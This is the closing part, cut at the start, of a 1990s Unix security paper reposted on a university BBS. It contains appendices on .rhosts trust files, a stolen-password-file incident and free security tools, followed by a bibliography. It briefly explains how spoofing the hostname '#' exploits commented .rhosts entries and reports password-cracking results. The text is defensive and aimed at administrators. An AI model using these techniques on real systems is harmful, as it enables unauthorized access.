the driver program will automatically execute it. The driver generates
a set of targets (using DNS and a fast version of ping together to get
"live" targets), and then executes each of the programs over each of the
targets. A data filtering/interpreting program then analyzes the
output, and lastly a reporting program digests everything into a more
readable format.
The entire package, including source code and documentation, will be
made freely available to the public, via anonymous ftp and by posting it
to one of the numerous source code groups on the Usenet.
----
Appendix B:
An informal survey conducted on about a dozen Internet sites
(educational, military, and commercial, with over 200 hosts and 40000
accounts) revealed that on the average, close to 10 percent of a site's
accounts had .rhosts files. These files averaged six trusted hosts
each; however, it was not uncommon to have well over one hundred entries
in an account's .rhosts file, and on a few occasions, the number was
over five hundred! (This is not a record one should be proud of
owning.) In addition, _every_ site directly on the internet (one site
was mostly behind a firewall) trusted a user or host at another site --
thus, the security of the site was not under the system administrators
direct control. The larger sites, with more users and hosts, had a
lower percentage of users with .rhosts files, but the size of .rhosts
files increased, as well as the number of trusted off-site hosts.
Although it was very difficult to verify how many of the entries were
valid, with such hostnames such as "Makefile", "Message-Id:", and
"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
question the wisdom of putting a site's security in the hands of its
users. Many users (especially the ones with larger .rhosts files)
attempted to put shell-style comments in their .rhosts files, which most
UNIX systems attempt to resolve as valid host names. Unfortunately, an
attacker can then use the DNS and NIS hostname spoofing techniques
discussed earlier to set their hostname to "#" and freely log in. This
puts a great many sites at risk (at least one major vendor ships their
systems with comments in their /etc/hosts.equiv files.)
You might think that these sites were not typical, and, as a matter of
fact, they weren't. Virtually all of the administrators knew a great
deal about security and write security programs for a hobby or
profession, and many of the sites that they worked for did either
security research or created security products. We can only guess at
what a "typical" site might look like.
----
Appendix C:
After receiving mail from a site that had been broken into from one of
our systems, an investigation was started. In time, we found that the
intruder was working from a list of ".com" (commercial) sites, looking
for hosts with easy-to steal password files. In this case,
"easy-to-steal" referred to sites with a guessable NIS domainname and an
accessible NIS server. Not knowing how far the intruder had gotten, it
looked like a good idea to warn the sites that were in fact vulnerable
to password file theft. Of the 656 hosts in the intruder's hit list, 24
had easy-to-steal password files -- about one in twenty-five hosts! One
third of these files contained at least one password-less account with
an interactive shell. With a grand total of 1594 password-file entries,
a ten-minute run of a publically-available password cracker (Crack)
revealed more than 50 passwords, using nothing but a low-end Sun
workstation. Another 40 passwords were found within the next 20
minutes; and a root password was found in just over an hour. The result
after a few days of cracking: five root passwords found, 19 out of 24
password files (eighty percent) with at least one known password, and
259 of 1594 (one in six) passwords guessed.
----
Appendix D:
How to get some free security resources on the Internet
Mailing lists:
o The CERT (Computer Emergency Response Team) advisory mailing list.
Send e-mail to cert@cert.org, and ask to be placed on their mailing
list.
o The Phrack newsletter. Send an e-mail message to
phrack@well.sf.ca.us and ask to be added to the list.
o The Firewalls mailing list. Send the following line to
majordomo@greatcircle.com:
subscribe firewalls
o Computer Underground Digest. Send e-mail to
tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
Free Software:
COPS (Computer Oracle and Password System) is available via anonymous
ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
in pub/security.
Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
TAMU is a UNIX auditing tool that is part of a larger suite of excellent
tools put out by a group at the Texas A&M University. They can be
gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
Sources for ftpd and many other network utilities can be found in
ftp.uu.net, in packages/bsd-sources.
Source for ISS (Internet Security Scanner), a tool that remotely scans
for various network vulnerabilities, is available via anonymous ftp from
ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
Securelib is available via anonymous ftp from ftp.uu.net, in
usenet/comp.sources.misc/volume36/securelib.
The latest version of berkeley sendmail is available via anonymous ftp
from ftp.cs.berkeley.edu, in ucb/sendmail.
Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
----
Bibliography:
Baldwin, Robert W., Rule Based Analysis of Computer Security,
Massachusetts Institute of Technology, June 1987.
Bellovin, Steve, Using the Domain Name System for System Break-ins,
1992 (unpublished).
Massachusetts Institute of Technology, X Window System Protocol,
Version 11, 1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
----
Suggested reading:
Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite",
Computer Communication Review 19 (2), 1989; a comment by Stephen
Kent appears in volume 19 (3), 1989.
Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
O'Reilly and Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
Study: Network Information Service", Computer Communication Review
22 (5) 1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
Four, Issue Forty-Three, File 14 of 27.
Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
1993.
Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
Protocal", Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
27 (8), 1984.
--
取下天上的月亮后，我拿给你 Email:s7110109@szu.eud.cn Icq:11869999 MacroBird
┏━━━━━━━━━━━━━┯┓
┃ 弃我去者,昨日之日不可留, ┕┫
┃ 乱我心者,今日之日多烦忧。 ┃
┗━━━━━━━━━━━━━━┛
Mill MacroBird
※ 来源:．BBS 荔园晨风站 bbs.szu.edu.cn．[FROM: 192.168.0.167]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店